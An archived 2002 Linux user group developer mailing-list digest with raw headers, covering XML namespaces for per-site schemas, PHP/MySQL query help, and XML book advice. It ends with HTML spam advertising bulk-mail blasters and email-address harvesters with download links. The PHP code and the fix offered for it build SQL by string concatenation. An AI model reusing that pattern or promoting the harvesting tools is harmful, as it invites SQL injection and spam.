List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-uylGzmI25oyvGFecothY Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sun, 2002-06-23 at 12:17, Tom Bryan wrote: > I'd like the roles to be validated by the XML parser, but the set of=20 > valid roles varies depending upon which customer is using the software.=20 Hmm. that can make things tricky. > Is there a way to do this without having a completely different version o= f the=20 > schema at each customer site? Am I stuck with using xsd:string for the r= ole=20 > attribute and doing all of the validation in the code (driven by a=20 > site-specific properties file)? Would you somehow separate out the porti= ons=20 > that change per customer and let those responsible for installing the sys= tem=20 > tweak the customer-specific portions of the schema? I expect you'll need an xml schema per site if they don't all share the same role information. One thing that could make this really do-able, though, is the use of name spaces in your data, like so: DATA DATA2 Each site has it's own name space, and can define their own schema as needed.=20 You probably aught to read the spec at http://www.w3.org/TR/REC-xml-names/ for complete information..... --=20 ---------------------------------- -- Kevin Sonney -- -- ICQ: 4855069 AIM: ksonney -- ---------------------------------- 320C 0336 3BC4 13EC 4AEC 6AF2 525F CED7 7BB6 12C9 Crispy Fries -- Neil, http://www.goats.com --=-uylGzmI25oyvGFecothY Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9FoNeUl/O13u2EskRAkJYAJ9Y9EivmrcISCkGz5Xz3woAImE+JACfTSiy uAU0JJcKzatg0fL+QIE6sNY= =0G3g -----END PGP SIGNATURE----- --=-uylGzmI25oyvGFecothY-- From matthew.todd@alumni.duke.edu Thu Jul 11 12:49:14 2002 Return-Path: Delivered-To: dev@trilug.org Received: from imf15bis.bellsouth.net (mail215.mail.bellsouth.net [205.152.58.155]) by fatalpha.trilug.org (Postfix) with ESMTP id 32082E5EF for ; Thu, 11 Jul 2002 12:49:14 -0400 (EDT) Received: from localhost.localdomain ([208.61.70.183]) by imf15bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with ESMTP id <20020711165044.IKDQ1761.imf15bis.bellsouth.net@localhost.localdomain>; Thu, 11 Jul 2002 12:50:44 -0400 From: Matthew Todd To: Reginald Tchume Cc: dev@trilug.org In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Date: 11 Jul 2002 12:49:11 -0500 Message-Id: <1026409752.317.32.camel@perelandra> Mime-Version: 1.0 Subject: [Dev] Re: [TriLUG] Coding to retrieve email from database Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Reginald, On first glance, the problem's in your second query: you can't call echo inside a string like that. You can instead use the string concatenation operator: "SELECT * FROM `users` WHERE $u == '" . $r[2] . "'" Or curly braces: "SELECT * FROM `users` WHERE $u == '{$r[2]}'" http://www.php.net/manual/en/language.types.string.php#language.types.string.parsing.complex For future reference, development-related questions are more appropriate for this dev@trilug.org list instead of the main one. Matthew On Wed, 2002-07-10 at 18:51, Reginald Tchume wrote: > Would someone be kind to help refine this code for producing required > results? > > I want to retrieve the email from the database of USERS under an IF-ELSE > condition when member_count<=4. > > IF count(members)<=4, I want to retrieve email(r2[4]) of sponsor(r[2]) ELSE > email(r[4]) of user(r[1]) from the table USERS. Currently, I'm getting a > warning of mysql_fetch_row() argument not valid. > > Here is the complete code I've been working with: > $conn=mysql_connect ("localhost", "UID", "PWD") or die ('Cannot connect > to the database.'); > mysql_select_db(exec); > $u = username; > $r = mysql_fetch_row(mysql_query("SELECT * FROM `users` WHERE > $u='lennie'")); > count(members)<=5 ? $r2 = mysql_fetch_row(mysql_query("SELECT * FROM > `users` WHERE $u == 'echo($r[2])'")) && print $r2[4] : print $r[4]; > mysql_close($conn); > ?> > > > THANKS, > reg > > > _________________________________________________________________ > Send and receive Hotmail on your mobile device: http://mobile.msn.com > > _______________________________________________ > TriLUG mailing list > http://www.trilug.org/mailman/listinfo/trilug > TriLUG Organizational FAQ: > http://www.trilug.org/~lovelace/faq/TriLUG-faq.html > > From matthew.todd@alumni.duke.edu Thu Jul 11 12:59:03 2002 Return-Path: Delivered-To: dev@trilug.org Received: from imf28bis.bellsouth.net (mail028.mail.bellsouth.net [205.152.58.68]) by fatalpha.trilug.org (Postfix) with ESMTP id C5E7AE5EF for ; Thu, 11 Jul 2002 12:59:03 -0400 (EDT) Received: from localhost.localdomain ([208.61.70.183]) by imf28bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with ESMTP id <20020711165903.SCTL1203.imf28bis.bellsouth.net@localhost.localdomain>; Thu, 11 Jul 2002 12:59:03 -0400 Subject: Re: [Dev] Re: [TriLUG] Coding to retrieve email from database From: Matthew Todd To: Reginald Tchume Cc: dev@trilug.org In-Reply-To: <1026409752.317.32.camel@perelandra> References: <1026409752.317.32.camel@perelandra> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Date: 11 Jul 2002 12:58:58 -0500 Message-Id: <1026410341.309.37.camel@perelandra> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: And, come to think of it, those $u's inside the queries look fishy, too. On Thu, 2002-07-11 at 12:49, Matthew Todd wrote: > Reginald, > > On first glance, the problem's in your second query: you can't call echo > inside a string like that. > > > You can instead use the string concatenation operator: > "SELECT * FROM `users` WHERE $u == '" . $r[2] . "'" > > Or curly braces: > "SELECT * FROM `users` WHERE $u == '{$r[2]}'" > http://www.php.net/manual/en/language.types.string.php#language.types.string.parsing.complex > > > For future reference, development-related questions are more appropriate > for this dev@trilug.org list instead of the main one. > > Matthew > > > > On Wed, 2002-07-10 at 18:51, Reginald Tchume wrote: > > Would someone be kind to help refine this code for producing required > > results? > > > > I want to retrieve the email from the database of USERS under an IF-ELSE > > condition when member_count<=4. > > > > IF count(members)<=4, I want to retrieve email(r2[4]) of sponsor(r[2]) ELSE > > email(r[4]) of user(r[1]) from the table USERS. Currently, I'm getting a > > warning of mysql_fetch_row() argument not valid. > > > > Here is the complete code I've been working with: > > > $conn=mysql_connect ("localhost", "UID", "PWD") or die ('Cannot connect > > to the database.'); > > mysql_select_db(exec); > > $u = username; > > $r = mysql_fetch_row(mysql_query("SELECT * FROM `users` WHERE > > $u='lennie'")); > > count(members)<=5 ? $r2 = mysql_fetch_row(mysql_query("SELECT * FROM > > `users` WHERE $u == 'echo($r[2])'")) && print $r2[4] : print $r[4]; > > mysql_close($conn); > > ?> > > > > > > THANKS, > > reg > > > > > > _________________________________________________________________ > > Send and receive Hotmail on your mobile device: http://mobile.msn.com > > > > _______________________________________________ > > TriLUG mailing list > > http://www.trilug.org/mailman/listinfo/trilug > > TriLUG Organizational FAQ: > > http://www.trilug.org/~lovelace/faq/TriLUG-faq.html > > > > > > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > > From mmueller@ss7box.com Thu Jul 11 17:05:00 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by fatalpha.trilug.org (Postfix) with ESMTP id BC416E5EF for ; Thu, 11 Jul 2002 17:05:00 -0400 (EDT) Received: from user-uivf3m9.dsl.mindspring.com ([165.247.142.201] helo=there) by mclean.mail.mindspring.net with smtp (Exim 3.33 #1) id 17Sl7T-0001Y0-00 for dev@trilug.org; Thu, 11 Jul 2002 17:04:59 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Michael Mueller To: dev@trilug.org Date: Thu, 11 Jul 2002 16:58:56 -0400 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] XML Learning Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I am going shopping for XML/SGML books. Any comments on what is good out there? TIA, -- Mike Mueller www.ss7box.com From tbryan@python.net Thu Jul 11 22:30:22 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by fatalpha.trilug.org (Postfix) with ESMTP id B7E11E5EF for ; Thu, 11 Jul 2002 22:30:21 -0400 (EDT) Received: from inigo ([66.26.90.109]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Thu, 11 Jul 2002 22:28:58 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] XML Learning Date: Thu, 11 Jul 2002 22:39:27 +0500 User-Agent: KMail/1.4.1 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200207112239.27215.tbryan@python.net> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Friday 12 July 2002 01:58 am, Michael Mueller wrote: > I am going shopping for XML/SGML books. Any comments on what is good out > there? I really liked _Professional_XML_ by WROX. I don't know whether they've updated since the copy I had (which was before the XML Schema draft became an official recommendation...over a year ago). I thought that it was pitched at about the right level for an experienced programmer looking for a general introduction to using XML for data exchange, but it was a bit weak in XML Schema. Many of the other books I looked at seemed to be pitched toward those moving from HTML to XML. I had to stop reading one of those when it spent a page or two explaining how to edit a text document (with MS Notepad--blech) and the difference between text and something like a word document. If you have specific needs, then you might want to outline those. Saying that you want to get an XML book is a bit like saying that you're getting a network book. You mean setting up an IP network or using CORBA with IIOP? There's a big difference. Same thing with XML. Are you looking for stuff about writing and working with XML documents coded to a pre-existing DTD/XML Schema? Are you looking for stuff about writing your own DTD/XML Schema? Are your XML documents more liked tagged docuements (user manuals) or coded data (SOAP)? Are you interested in something very specific? XSLT? XML RPC? DocBook? There are also guides that lean specifically to one language, such as O'Reilly's _Java_and_XML_. ---Tom From mmueller@ss7box.com Fri Jul 12 15:48:56 2002 Return-Path: Delivered-To: dev@trilug.org Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by fatalpha.trilug.org (Postfix) with ESMTP id 8173EE601 for ; Fri, 12 Jul 2002 15:48:56 -0400 (EDT) Received: from user-uivf3m9.dsl.mindspring.com ([165.247.142.201] helo=there) by maynard.mail.mindspring.net with smtp (Exim 3.33 #1) id 17T6PL-0004Vf-00 for dev@trilug.org; Fri, 12 Jul 2002 15:48:51 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Michael Mueller To: dev@trilug.org Subject: Re: [Dev] XML Learning Date: Fri, 12 Jul 2002 15:42:50 -0400 X-Mailer: KMail [version 1.3.1] References: <200207112239.27215.tbryan@python.net> In-Reply-To: <200207112239.27215.tbryan@python.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 11 July 2002 13:39, Tom Bryan reputedly wrote: > If you have specific needs, then you might want to outline those. Saying > that you want to get an XML book is a bit like saying that you're getting a > network book. You mean setting up an IP network or using CORBA with IIOP? > There's a big difference. Same thing with XML. Are you looking for stuff > about writing and working with XML documents coded to a pre-existing > DTD/XML Schema? Are you looking for stuff about writing your own DTD/XML > Schema? Are your XML documents more liked tagged docuements (user manuals) > or coded data (SOAP)? Are you interested in something very specific? > XSLT? XML RPC? DocBook? There are also guides that lean specifically to > one language, such as O'Reilly's _Java_and_XML_. Bit of Pandora's Box is it not? I am coming at XML from a DocBook user manual perspective. My first goal is to be proficient with DocBook. There's just too much magic going on for me to feel comfortable. I started reading a bit about SGML and XML and XSL and my comfort level started to rise. I want my DocBook experience to be a launching point for further XML study. -- Mike Mueller www.ss7box.com From tbryan@python.net Sat Jul 13 19:16:54 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (Postfix) with ESMTP id E70F4E5EC for ; Sat, 13 Jul 2002 19:16:53 -0400 (EDT) Received: from inigo ([66.26.90.109]) by mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Sat, 13 Jul 2002 19:07:29 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] XML Learning Date: Sat, 13 Jul 2002 19:17:57 +0500 User-Agent: KMail/1.4.1 References: <200207112239.27215.tbryan@python.net> In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200207131917.57739.tbryan@python.net> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Saturday 13 July 2002 12:42 am, Michael Mueller wrote: > Bit of Pandora's Box is it not? I am coming at XML from a DocBook user > manual perspective. My first goal is to be proficient with DocBook. > There's just too much magic going on for me to feel comfortable. I started > reading a bit about SGML and XML and XSL and my comfort level started to > rise. I want my DocBook experience to be a launching point for further XML > study. Then the WROX book I mentioned might be a good starting point, especially if there has been an update recently. After the first few chapters, it's set up as topic chapters so (while there is some building on previous chapters) many of the chapters can be read out of order acording to your interest. I know what you mean, though. The basics of XML are fairly simple. I can state them in a few sentences. XML defines a standard, tag-based plain text document/data/content mark up language. XML "instance" documents conforming to the basic rules of XML are well-formed. Each document may also conform to a specific DTD or XML Schema, which defines what a valid document looks like. Esentially, the DTD/XML Schema defines a vocabulary, and an instance document can then be written to that vocabulary. From a programmer's perspective, this separation is nice. People can write tools for processing XML documents. These tools are very generic since they just need to process well-formed documents and maybe determine the instance document's validity against a given DTD/XML Schema. Xerces is an example of such a tool. Then, there are other tools that can lean on the first set of tools. These tools are designed to process documents within a specific vocabulary. For example, there are tools that can convert DocBook XML documents into other formats, such as HTML. Unfortunately, beyond those basics, using XML effectively seems somehwhat daunting. For example, if you really want to learn about XSLT, you need to have a grasp of XML namespaces, XPath, and XPointer. None of those are hard in themselves, but like you said: it feels like a Pandora's box. Or perhaps, the old junk closet. It's hard to reach in and get just one thing. ---Tom From mmueller@ss7box.com Sun Jul 14 16:54:10 2002 Return-Path: Delivered-To: dev@trilug.org Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by fatalpha.trilug.org (Postfix) with ESMTP id 3F0A8E5EF for ; Sun, 14 Jul 2002 16:54:10 -0400 (EDT) Received: from user-uivf3m9.dsl.mindspring.com ([165.247.142.201] helo=there) by tisch.mail.mindspring.net with smtp (Exim 3.33 #1) id 17TqNb-0000pn-00 for dev@trilug.org; Sun, 14 Jul 2002 16:54:07 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Michael Mueller To: dev@trilug.org Subject: Re: [Dev] XML Learning Date: Sun, 14 Jul 2002 16:47:55 -0400 X-Mailer: KMail [version 1.3.1] References: <200207131917.57739.tbryan@python.net> In-Reply-To: <200207131917.57739.tbryan@python.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Saturday 13 July 2002 10:17, Tom Bryan reputedly wrote: It's hard to reach in and get just one > thing. :-) Linux and OSS in a Nutshell. Half the trick IMO is learning how to ask questions. Thanks for the info. I'll check out the WROX book. -- Mike Mueller www.ss7box.com From targetemailextractor@btamail.net.cn Fri Jul 19 07:19:09 2002 Return-Path: Delivered-To: dev@trilug.org Received: from localhost.com (unknown [61.174.203.44]) by fatalpha.trilug.org (Postfix) with SMTP id CC28DE5DD for ; Fri, 19 Jul 2002 07:19:04 -0400 (EDT) From: targetemailextractor@btamail.net.cn To: dev@trilug.org Date: Fri, 19 Jul 2002 19:19:05 +0800 X-Mailer: QuickSender 1.05 MIME-Version: 1.0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-Id: <20020719111904.CC28DE5DD@fatalpha.trilug.org> Subject: [Dev] ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: targetemailextractor@btamail.net.cn List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: =3CBODY bgColor=3D#ffffff=3E =3CDIV=3E=3CFONT size=3D2=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E =3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EDirect Email Blaster=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E=3CFONT size=3D2=3E =3CP=3E=3CFONT face=3DArial=3E=3CB=3E=3CFONT color=3D#006600=3E=3CI=3EThe program will send mail at the rate of over 1=2C 000 e-mails per minute=2E =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ELegal and Fast sending bulk emails =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EBuilt in SMTP server =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3EHave Return Path =3B=3CBR=3ECan Check Mail Address =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EMake Error Send Address List=28 Remove or Send Again=29 =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ESupport multi-threads=2E =3B=3CBR=3ESupport multi-smtp servers=2E =3B=3CBR=3EManages your opt-in E-Mail Lists =3B=3CBR=3EOffers an easy-to-use interface! =3B=3CBR=3EEasy to configure and use =3B=3C=2FB=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fedeb=5Fset=2Ezip=22=3E=3CSTRONG=3EDownload Now=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EMaillist Verify=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EMaillist Verify is intended for e-mail addresses and mail lists verifying=2E The main task is to determine which of addresses in the mail list are dead=2E The program is oriented=2C basically=2C on programmers which have their own mail lists to inform their users about new versions of their programs=2E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EThe program works on the same algorithm as ISP mail systems do=2E Mail servers addresses for specified address are extracted from DNS=2E The program tries to connect with found SMTP-servers and simulates the sending of message=2E It does not come to the message =3CNOBR=3Esending ‿=3B=2FNOBR>=3B EMV disconnect as soon as mail server informs does this address exist or not=2E EMV can find=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3E =3Babout 90% of dead addresses ‿=3B=2FNOBR>=3B some mail systems receive all messages and only then see their =3B=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3Eaddresses and if the address is dead send the message back with remark about it=2E=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E=3CNOBR=3E =3CP=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemv=5Fset=2Ezip=22=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email Blaster =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EExpress Email Blaster =3B is a very fast=2C powerful yet simple to use email sender=2E Utilizing multiple threads=2Fconnections=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E =3Band multiple SMTP servers your emails will be sent out fast and easily=2E There are User Information=2C Attach Files=2C =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EAddress and Mail Logs four tabbed area for the E-mails details for sending=2E About 25 SMTP servers come with the =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3Edemo version=2C and users may Add and Delete SMTP servers=2E About =3CFONT color=3D#008000=3E=3CB=3E60=2C000=3C=2FB=3E=3C=2FFONT=3E E-mails will be sent out per hour=2E=22=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbeeb=5Fset=2Ezip=22=3E=3CFONT face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email Address Extractor=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E=3CFONT size=3D4=3E =3CP=3E=3CFONT color=3D#008000 size=3D3=3EThis program is the most efficient=2C easy to use email address collector available on the =3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3D#008000 size=3D3=3E =3Binternet! =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D3=3EBeijing Express Email Address Extractor =28ExpressEAE=29 is designed to extract=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Be-mail addresses from web-pages on the Internet =28using HTTP protocols=29 =2EExpressEAE=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Bsupports operation through many proxy-server and works very fast=2C as it is able of =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 size=3D3=3Eloading several pages simultaneously=2C and requires very few resources=2E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial=3E=3CFONT size=3D3=3EWith it=2C you will be able to=3C=2FFONT=3E=3CFONT size=3D2=3E =3C=2FFONT=3E=3CFONT size=3D3=3Euse targeted searches to crawl the world wide web=2C extracting =3B=3C=2FFONT=3E=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Ethousands of clean=2C fresh email addresses=2E Ably Email address Extractor is unlike other =3B=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eaddress collecting programs=2C which limit you to one or two search engines and are unable=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3E =3Bto do auto searches HUGE address=2E Most of them collect a high percentage of incomplete=2C =3B=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eunusable addresses which will cause you serious problems when using them in a mailing=2E =3B=3C=2FFONT=3E =3CUL=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EEasier to learn and use than any other email address collector program available=2E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAccesses eight search engines =3B=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAdd your own URLs to the list to be searched=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3ESupports operation through =3C=2FFONT=3E=3CFONT color=3D#ff00ff=3Ea lot of=3C=2FFONT=3E=3CFONT color=3D#008000=3E proxy-server and works very fast =28HTTP Proxy=29=3C=2FFONT=3E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAble of loading several pages simultaneously=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ERequires very few resources=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ETimeout feature allows user to limit the amount of time crawling in dead sites and traps=2E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3EEasy to make =3C=2FFONT=3E=3CFONT color=3D#ff00ff=3EHuge=3C=2FFONT=3E=3CFONT color=3D#008000=3E address list=3C=2FFONT=3E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EPause=2Fcontinue extraction at any time=2E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAuto connection to the Internet=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E =3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feeae=5Fset=2Ezip=22=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Email Address Downloader=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CUL=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Eis a 32 bit Windows Program for e-mail marketing=2E It is intended for easy and convenient=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3E =3Bsearch large e-mail address lists from mail servers=2E The program can be operated on =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3EWindows 95=2F98=2FME=2F2000 and NT=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Esupport multi-threads =28up to 1024 connections=29=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Ehas the ability =3B to reconnect to the mail server if the server has disconnected and =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3Econtinue the searching at the point where it has been interrupted=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Ehas an ergonomic interface that is easy to set up and simple to use=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CP=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#008000 face=3DArial size=3D4=3EFeatures=3A=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CUL type=3Ddisc=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Esupport multi-threads=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto get smtp server address=2Csupport multi-smtp servers=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto save =3B E-Mail Lists=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eoffers an easy-to-use interface!=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E 